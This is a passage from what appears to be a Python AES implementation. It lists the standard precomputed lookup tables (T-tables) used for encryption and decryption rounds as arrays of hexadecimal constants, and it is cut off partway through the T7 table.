0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
116 T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
117 T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
118 T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
119
120 # Transformations for decryption
121 T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
122 T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
123 T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 